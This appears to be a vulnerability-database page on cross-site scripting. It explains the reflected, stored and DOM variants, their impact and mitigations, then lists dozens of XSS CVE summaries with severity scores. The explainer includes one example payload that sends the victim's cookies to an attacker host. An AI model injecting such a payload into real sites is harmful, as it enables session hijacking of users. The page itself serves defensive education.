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Cross-Site Scripting

web MEDIUM

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

How It Works

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding. The attacker crafts input containing JavaScript code, which the application then incorporates into its HTML response. When a victim's browser renders this response, it executes the injected script as if it were legitimate code from the trusted website.

The attack manifests in three main variants. Reflected XSS occurs when malicious script arrives via an HTTP parameter (like a search query) and immediately bounces back in the response—typically delivered through phishing links. Stored XSS is more dangerous: the payload persists in the application's database (in comment fields, user profiles, forum posts) and executes whenever anyone views the infected content. DOM-based XSS happens entirely client-side when JavaScript code improperly handles user-controllable data, modifying the DOM in unsafe ways without ever sending the payload to the server.

A typical attack flow starts with the attacker identifying an injection point—anywhere user input appears in HTML output. They craft a payload like <script>document.location='http://attacker.com/steal?c='+document.cookie</script> and inject it through the vulnerable parameter. When victims access the page, their browsers execute this script within the security context of the legitimate domain, giving the attacker full access to cookies, session tokens, and DOM content.

Impact

  • Session hijacking: Steal authentication cookies to impersonate victims and access their accounts
  • Credential harvesting: Inject fake login forms on trusted pages to capture usernames and passwords
  • Account takeover: Perform state-changing actions (password changes, fund transfers) as the authenticated victim
  • Keylogging: Monitor and exfiltrate everything users type on the compromised page
  • Phishing and malware distribution: Redirect users to malicious sites or deliver drive-by downloads from a trusted domain
  • Data exfiltration: Access and steal sensitive information visible in the DOM or retrieved via AJAX requests

Real-World Examples

A stored XSS vulnerability in Twitter (2010) allowed attackers to create self-propagating worms. Users hovering over malicious tweets automatically retweeted them and followed the attacker, creating viral spread through the platform's legitimate functionality.

eBay suffered from persistent XSS flaws in product listings (CVE-2015-2880) where attackers embedded malicious scripts in item descriptions. Buyers viewing these listings had their sessions compromised, enabling unauthorized purchases and account takeover.

British Airways faced a sophisticated supply chain attack (2018) where attackers injected JavaScript into the airline's payment page. The script skimmed credit card details from 380,000 transactions, demonstrating how XSS enables payment fraud at massive scale.

Mitigation

  • Context-aware output encoding: HTML-encode for HTML context, JavaScript-encode for JS strings, URL-encode for URLs—never use generic escaping
  • Content Security Policy (CSP): Deploy strict CSP headers to whitelist script sources and block inline JavaScript execution
  • HTTPOnly and Secure cookie flags: Prevent JavaScript access to session cookies and ensure transmission over HTTPS only
  • Input validation: Reject unexpected characters and patterns, though this is defense-in-depth, not primary protection
  • DOM-based XSS prevention: Use safe APIs like textContent instead of innerHTML; avoid passing user data to dangerous sinks like eval()

Recent CVEs (40992)

EPSS 2% CVSS 6.1
MEDIUM This Month

Nagios XI before v5.8.7 was discovered to contain multiple cross-site scripting (XSS) vulnerabilities at auditlog.php. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

PHP XSS Nagios Xi +1
NVD
EPSS 2% CVSS 4.8
MEDIUM This Month

Nagios XI v5.8.6 was discovered to contain a cross-site scripting (XSS) vulnerability via the System Settings page under the Admin panel. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Nagios Xi Nagios
NVD
EPSS 0% CVSS 6.1
MEDIUM PATCH This Month

Wikmd is a file based wiki that uses markdown. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS Wikmd
NVD GitHub
EPSS 0% CVSS 6.1
MEDIUM POC This Month

ftcms 2.1 poster.PHP has a XSS vulnerability. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Ftcms
NVD GitHub
EPSS 1% CVSS 5.4
MEDIUM This Month

Persistent cross-site scripting (XSS) in Crime Reporting System 1.0 allows a remote attacker to introduce arbitary Javascript via manipulation of an unsanitized POST parameter. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Crime Reporting System
NVD
EPSS 0% CVSS 4.8
MEDIUM PATCH This Month

Discourse-Chat is an asynchronous messaging plugin for the Discourse open-source discussion platform. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS Discourse Discourse Chat
NVD GitHub
EPSS 1% CVSS 5.4
MEDIUM This Month

A stored cross-site scripting (XSS) vulnerability exists in the management web interface of WatchGuard Firebox and XTM appliances. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Fireware Watchguard
NVD
EPSS 0% CVSS 4.8
MEDIUM This Month

Authenticated (admin+) Cross-Site Scripting (XSS) vulnerability in wpdevart Poll, Survey, Questionnaire and Voting system plugin <= 1.7.4 at WordPress. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS Wordpress Plugin +2
NVD
EPSS 5% CVSS 5.5
MEDIUM POC PATCH This Month

The WP-UserOnline plugin for WordPress has multiple Stored Cross-Site Scripting vulnerabilities in versions up to, and including 2.88.0. Rated medium severity (CVSS 5.5), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.

WordPress XSS Wp Useronline +1
NVD GitHub Exploit-DB VulDB
EPSS 1% CVSS 5.4
MEDIUM PATCH This Month

The Image Hover Effects Ultimate plugin for WordPress is vulnerable to Stored Cross-Site Scripting via Video Link values that can be added to an Image Hover in versions up to, and including, 9.7.3. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

WordPress XSS Wordpress Plugin +2
NVD
EPSS 0% CVSS 5.4
MEDIUM PATCH This Month

The Image Hover Effects Ultimate plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the Media Image URL value that can be added to an Image Hover in versions up to, and including,. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

WordPress XSS Wordpress Plugin +2
NVD
EPSS 0% CVSS 5.4
MEDIUM This Month

The Beaver Builder - WordPress Page Builder for WordPress is vulnerable to Stored Cross-Site Scripting via the 'Image URL' value found in the Media block in versions up to, and including, 2.5.5.2 due. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS Beaver Builder +1
NVD
EPSS 0% CVSS 5.4
MEDIUM This Month

The Beaver Builder - WordPress Page Builder for WordPress is vulnerable to Stored Cross-Site Scripting via the 'Text Editor' block in versions up to, and including, 2.5.5.2 due to insufficient input. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS Beaver Builder +1
NVD
EPSS 0% CVSS 5.4
MEDIUM This Month

The Beaver Builder - WordPress Page Builder for WordPress is vulnerable to Stored Cross-Site Scripting via the 'caption' parameter added to images via the media uploader in versions up to, and. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS Beaver Builder +1
NVD
EPSS 0% CVSS 8.8
HIGH PATCH This Week

The uContext for Clickbank plugin for WordPress is vulnerable to Cross-Site Request Forgery to Cross-Site Scripting in versions up to, and including 3.9.1. Rated high severity (CVSS 8.8), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Request Forgery (CSRF) vulnerability could allow attackers to trick authenticated users into performing unintended actions.

PHP WordPress XSS +3
NVD VulDB
EPSS 0% CVSS 8.8
HIGH PATCH This Week

The uContext for Amazon plugin for WordPress is vulnerable to Cross-Site Request Forgery to Cross-Site Scripting in versions up to, and including 3.9.1. Rated high severity (CVSS 8.8), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Request Forgery (CSRF) vulnerability could allow attackers to trick authenticated users into performing unintended actions.

PHP WordPress XSS +3
NVD VulDB
EPSS 0% CVSS 8.8
HIGH PATCH This Week

The Link Optimizer Lite plugin for WordPress is vulnerable to Cross-Site Request Forgery to Cross-Site Scripting in versions up to, and including 1.4.5. Rated high severity (CVSS 8.8), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Request Forgery (CSRF) vulnerability could allow attackers to trick authenticated users into performing unintended actions.

PHP WordPress XSS +3
NVD VulDB
EPSS 0% CVSS 5.4
MEDIUM This Month

The Beaver Builder - WordPress Page Builder for WordPress is vulnerable to Stored Cross-Site Scripting via the 'Caption - On Hover' value associated with images in versions up to, and including,. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS Beaver Builder +1
NVD
EPSS 1% CVSS 5.4
MEDIUM PATCH This Month

The Visual Composer Website Builder plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the post/page 'Title' value in versions up to, and including, 45.0 due to insufficient input. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

WordPress XSS Visual Composer Website Builder +2
NVD
EPSS 0% CVSS 6.4
MEDIUM POC PATCH This Month

The Simple Banner plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the `pro_version_activation_code` parameter in versions up to, and including, 2.11.0 due to insufficient input. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.

WordPress XSS Simple Banner +2
NVD GitHub VulDB
EPSS 1% CVSS 5.5
MEDIUM POC PATCH This Month

The WP-UserOnline plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the ‘templates[browsingpage][text]' parameter in versions up to, and including, 2.87.6 due to insufficient. Rated medium severity (CVSS 5.5), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.

WordPress XSS Wp Useronline +1
NVD Exploit-DB VulDB
EPSS 1% CVSS 5.4
MEDIUM PATCH This Month

The Visual Composer Website Builder plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'Text Block' feature in versions up to, and including, 45.0 due to insufficient input. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

WordPress XSS Visual Composer Website Builder +2
NVD
EPSS 0% CVSS 5.4
MEDIUM PATCH This Month

The Simple SEO plugin for WordPress is vulnerable to attribute-based stored Cross-Site Scripting in versions up to, and including 1.7.91, due to insufficient sanitization or escaping on the SEO. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

WordPress XSS Wordpress Plugin +2
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

An improper neutralization of input during web page generation vulnerability [CWE-79] in the Webmail of FortiMail before 7.2.0 may allow an unauthenticated attacker to trigger a cross-site scripting. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Fortinet Fortimail
NVD
EPSS 1% CVSS 5.4
MEDIUM POC PATCH This Month

Cross-site Scripting (XSS) - Stored in GitHub repository jgraph/drawio prior to 20.2.8. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available.

XSS Drawio Diagrams
NVD GitHub
EPSS 1% CVSS 5.5
MEDIUM POC This Month

The Fast Flow WordPress plugin before 1.2.13 does not sanitise and escape some of its Widget settings, which could allow high privilege users such as admin to perform Stored Cross-Site Scripting. Rated medium severity (CVSS 5.5), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Fastflow
NVD WPScan
EPSS 1% CVSS 7.2
HIGH POC This Week

The Simple Payment Donations & Subscriptions WordPress plugin before 4.2.1 does not sanitise and escape user input given in its forms, which could allow unauthenticated attackers to perform. Rated high severity (CVSS 7.2), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Simple Payment Donations Subscriptions
NVD WPScan
EPSS 0% CVSS 4.8
MEDIUM This Month

The WP Database Backup WordPress plugin before 5.9 does not escape some of its settings, which could allow high privilege users such as admin to perform Stored Cross-Site Scripting attacks when the. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS Wp Database Backup +1
NVD WPScan
EPSS 1% CVSS 6.1
MEDIUM POC PATCH This Month

Cross-site Scripting (XSS) - Reflected in GitHub repository splitbrain/dokuwiki prior to 2022-07-31a. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available.

XSS Dokuwiki Fedora +1
NVD GitHub
EPSS 0% CVSS 4.8
MEDIUM This Month

An attacker who is logged into OTRS as an admin user may manipulate customer URL field to store JavaScript code to be run later by any other agent when clicking the customer URL link. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Otrs
NVD
EPSS 1% CVSS 4.8
MEDIUM This Month

An attacker who is logged into OTRS as an admin user may manipulate the URL to cause execution of JavaScript in the context of OTRS. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Otrs
NVD
EPSS 0% CVSS 4.8
MEDIUM POC This Month

Cotonti Siena 0.9.20 allows admins to conduct stored XSS attacks via a direct message (DM). Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Cotonti Siena Cotonti
NVD GitHub
EPSS 0% CVSS 4.8
MEDIUM POC This Month

Cotonti Siena 0.9.20 allows admins to conduct stored XSS attacks via a forum post. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Cotonti Siena Cotonti
NVD GitHub
EPSS 1% CVSS 8.9
HIGH POC This Week

Server-side JavaScript injection in Appsmith through 1.7.14 allows remote attackers to execute arbitrary JavaScript code from the server via the currentItem property of the list widget, e.g., to. Rated high severity (CVSS 8.9), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Appsmith
NVD GitHub
EPSS 0% CVSS 5.4
MEDIUM POC This Month

A stored cross-site scripting (XSS) vulnerability in /client.php of Garage Management System v1.0 allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Garage Management System +1
NVD
EPSS 0% CVSS 6.1
MEDIUM PATCH This Month

This package is a PrestaShop module that allows users to post reviews and rate products. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS Prestashop Productcomments
NVD GitHub
EPSS 2% CVSS 5.4
MEDIUM This Month

Apache OFBiz uses the Birt plugin (https://eclipse.github.io/birt-website/) to create data visualizations and reports. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Apache Ofbiz
NVD
EPSS 0% CVSS 4.8
MEDIUM POC This Month

Miniblog.Core v1.0 was discovered to contain a cross-site scripting (XSS) vulnerability in the component /blog/edit. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Miniblog Core
NVD GitHub
EPSS 0% CVSS 5.4
MEDIUM POC This Month

Garage Management System v1.0 was discovered to contain a persistent cross-site scripting (XSS) vulnerability via the brand_name parameter at /brand.php. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Garage Management System +1
NVD
EPSS 0% CVSS 4.8
MEDIUM POC This Month

BlogEngine v3.3.8.0 was discovered to contain a cross-site scripting (XSS) vulnerability in the component /blogengine/api/posts. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Blogengine Net Blogengine
NVD GitHub
EPSS 1% CVSS 3.8
LOW PATCH Monitor

A Stored Cross-site scripting (XSS) vulnerability was found in keycloak as shipped in Red Hat Single Sign-On 7. Rated low severity (CVSS 3.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Red Hat Single Sign On
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM POC This Month

DedeCMS V5.7.97 was discovered to contain multiple cross-site scripting (XSS) vulnerabilities at /dede/co_do.php via the dopost, rpok, and aid parameters. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Dedecms
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

Cross-Site Request Forgery (CSRF) vulnerability leading to Stored Cross-Site Scripting (XSS) in CallRail, Inc. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

WordPress XSS CSRF +2
NVD
EPSS 0% CVSS 5.4
MEDIUM This Month

Authenticated (contributor+) Stored Cross-Site Scripting (XSS) vulnerability in PluginlySpeaking Easy Org Chart plugin <= 3.1 at WordPress. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS Wordpress Plugin +1
NVD
EPSS 1% CVSS 5.4
MEDIUM POC This Month

Weave GitOps Enterprise before 0.9.0-rc.5 has a cross-site scripting (XSS) bug allowing a malicious user to inject a javascript: link in the UI. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Gitops
NVD
EPSS 1% CVSS 5.4
MEDIUM POC PATCH This Month

Cross-site Scripting (XSS) - Stored in GitHub repository francoisjacquet/rosariosis prior to 8.9.3. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.

XSS Rosariosis
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM POC This Month

Doctor's Appointment System 1.0 is vulnerable to Cross Site Scripting (XSS) via the admin panel. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Doctor S Appointment System Doctor S Appointment System Project
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM POC This Month

Piwigo 12.3.0 is vulnerable to Cross Site Scripting (XSS) via /search/1940/created-monthly-list. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Piwigo
NVD GitHub
EPSS 0% CVSS 6.1
MEDIUM This Month

Potential vulnerabilities have been identified in Micro Focus ArcSight Logger. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Information Disclosure Arcsight Logger +1
NVD
EPSS 1% CVSS 7.5
HIGH This Week

Potential vulnerabilities have been identified in Micro Focus ArcSight Logger. Rated high severity (CVSS 7.5), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Information Disclosure Arcsight Logger +1
NVD
EPSS 0% CVSS 6.1
MEDIUM POC This Month

PicUploader v2.6.3 was discovered to contain a cross-site scripting (XSS) vulnerability via the component /master/index.php. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Picuploader
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM POC This Month

Razor v0.8.0 was discovered to contain a cross-site scripting (XSS) vulnerability via the function uploadchannel(). Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Razor Cobub
NVD GitHub
EPSS 0% CVSS 6.1
MEDIUM PATCH This Month

LibreNMS v22.6.0 was discovered to contain a cross-site scripting (XSS) vulnerability via the component oxidized-cfg-check.inc.php. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity.

PHP XSS Librenms
NVD GitHub
EPSS 0% CVSS 6.1
MEDIUM PATCH This Month

LibreNMS v22.6.0 was discovered to contain a cross-site scripting (XSS) vulnerability via the component print-customoid.php. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity.

PHP XSS Librenms
NVD GitHub
EPSS 0% CVSS 4.8
MEDIUM POC This Month

Library Management System v1.0 was discovered to contain a cross-site scripting (XSS) vulnerability via the component /librarian/edit_book_details.php. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Library Management System +1
NVD GitHub
EPSS 0% CVSS 5.4
MEDIUM PATCH This Month

Dell EMC Data Protection Advisor versions 19.6 and earlier, contains a Stored Cross Site Scripting, an attacker could potentially exploit this vulnerability, leading to the storage of malicious HTML. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS Information Disclosure Dell +1
NVD
EPSS 1% CVSS 6.1
MEDIUM POC This Month

All versions of package x-data-spreadsheet are vulnerable to Cross-site Scripting (XSS) due to missing sanitization of values inserted into the cells. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS X Data Spreadsheet
NVD GitHub
EPSS 1% CVSS 4.8
MEDIUM POC PATCH This Month

Cross-site Scripting (XSS) - Stored in GitHub repository snipe/snipe-it prior to v6.0.11. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.

XSS Snipe It Snipeitapp
NVD GitHub
EPSS 1% CVSS 5.4
MEDIUM PATCH This Month

kirby is a content management system (CMS) that adapts to many different projects and helps you build your own ideal interface. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS Kirby Getkirby
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM POC This Month

The Anti-Malware Security and Brute-Force Firewall WordPress plugin before 4.21.83 does not sanitise and escape some parameters before outputting them back in an admin dashboard, leading to Reflected. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Anti Malware Security And Brute Force Firewall
NVD WPScan
EPSS 1% CVSS 6.1
MEDIUM POC This Month

The WP Hide & Security Enhancer WordPress plugin before 1.8 does not escape a parameter before outputting it back in an attribute of a backend page, leading to a Reflected Cross-Site Scripting. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Wp Hide Security Enhancer
NVD WPScan
EPSS 1% CVSS 6.1
MEDIUM POC This Month

The WooCommerce PDF Invoices & Packing Slips WordPress plugin before 3.0.1 does not sanitise and escape some parameters before outputting them back in an attributes of an admin page, leading to. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Woocommerce Pdf Invoices Packing Slips +1
NVD WPScan
EPSS 1% CVSS 4.8
MEDIUM POC This Month

The Simply Schedule Appointments WordPress plugin before 1.5.7.7 does not sanitise and escape some of its settings, which could allow high privilege users such as admin to perform Stored Cross-Site. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Simply Schedule Appointments +1
NVD WPScan
EPSS 1% CVSS 6.1
MEDIUM POC PATCH This Month

jsoup is a Java HTML parser, built for HTML editing, cleaning, scraping, and cross-site scripting (XSS) safety. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Java Mozilla +5
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM This Month

HCL iNotes is susceptible to a Reflected Cross-site Scripting (XSS) vulnerability caused by improper validation of user-supplied input supplied with a form POST request. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Domino Hcl Inotes +1
NVD
EPSS 0% CVSS 4.8
MEDIUM POC This Month

Cross Site Scripting (XSS) in Admin Panel of Subrion CMS 4.2.1 allows attacker to inject arbitrary code via Login Field. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS RCE Subrion Cms +1
NVD
EPSS 1% CVSS 5.4
MEDIUM POC This Month

Centreon 22.04.0 is vulnerable to Cross Site Scripting (XSS) from the function Pollers > Broker Configuration by adding a crafted payload into the name parameter. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Centreon
NVD GitHub
EPSS 0% CVSS 6.1
MEDIUM POC This Month

A cross-site scripting (XSS) vulnerability in Pagekit CMS v1.0.18 allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the Markdown text box under. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Pagekit
NVD GitHub
EPSS 0% CVSS 6.1
MEDIUM This Month

A vulnerability, which was classified as problematic, has been found in oretnom23 Fast Food Ordering System. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Fast Food Ordering System Fast Food Ordering System Project
NVD VulDB
EPSS 0% CVSS 6.1
MEDIUM POC This Month

A vulnerability classified as problematic was found in SourceCodester Simple Task Managing System. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Simple Task Managing System Simple Task Managing System Project
NVD GitHub VulDB
EPSS 0% CVSS 5.4
MEDIUM POC This Month

Edoc-doctor-appointment-system v1.0.1 was discovered to contain a stored cross-site scripting (XSS) vulnerability at /patient/settings.php. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Edoc Doctor Appointment System +1
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM This Month

Edoc-doctor-appointment-system v1.0.1 was discovered to contain a reflected cross-site scripting (XSS) vulnerability at /patient/index.php. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

PHP XSS Edoc Doctor Appointment System +1
NVD GitHub
EPSS 0% CVSS 5.4
MEDIUM PATCH This Month

IBM Maximo Asset Management 7.6.1 is vulnerable to cross-site scripting. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS IBM Maximo Asset Management
NVD
EPSS 3% CVSS 5.4
MEDIUM POC PATCH This Month

A flaw was found in Keycloak. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Red Hat Keycloak +1
NVD GitHub
EPSS 0% CVSS 5.4
MEDIUM POC This Month

An issue was discovered in Online Diagnostic Lab Management System 1.0. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Online Diagnostic Lab Management System Online Diagnostic Lab Management System Project
NVD GitHub
EPSS 0% CVSS 6.1
MEDIUM This Month

Archer Platform 6.9 SP2 P2 before 6.11 P3 (6.11.0.3) contain a reflected XSS vulnerability. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Rsa Archer
NVD
EPSS 1% CVSS 5.4
MEDIUM This Month

Archer Platform 6.x before 6.11 P3 contain an HTML injection vulnerability. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Rsa Archer
NVD
EPSS 7% CVSS 6.1
MEDIUM POC This Month

Nortek Linear eMerge E3-Series 0.32-07p devices are vulnerable to /card_scan.php?CardFormatNo= XSS with session fixation (via PHPSESSID) when they are chained together. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

PHP XSS Session Fixation +2
NVD GitHub
EPSS 0% CVSS 5.4
MEDIUM POC This Month

Jfinal CMS v5.1.0 allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the post title text field under the publish blog module. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Jfinal Cms Jflyfox
NVD GitHub
EPSS 0% CVSS 6.1
MEDIUM This Month

A reflected cross-site scripting (XSS) vulnerability exists in the iHistorian Data Display of WorkstationST (<v07.09.15) could allow an attacker to compromise a victim's browser. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Workstationst Ge
NVD
EPSS 1% CVSS 5.4
MEDIUM POC This Month

Claroline 13.5.7 and prior is vulnerable to Cross Site Scripting (XSS). Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS RCE Claroline
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM POC This Month

Claroline 13.5.7 and prior is vulnerable to Cross Site Scripting (XSS) via SVG file upload. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS File Upload Claroline
NVD GitHub
EPSS 1% CVSS 5.4
MEDIUM POC This Month

Claroline 13.5.7 and prior allows an authenticated attacker to elevate privileges via the arbitrary creation of a privileged user. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Claroline
NVD GitHub
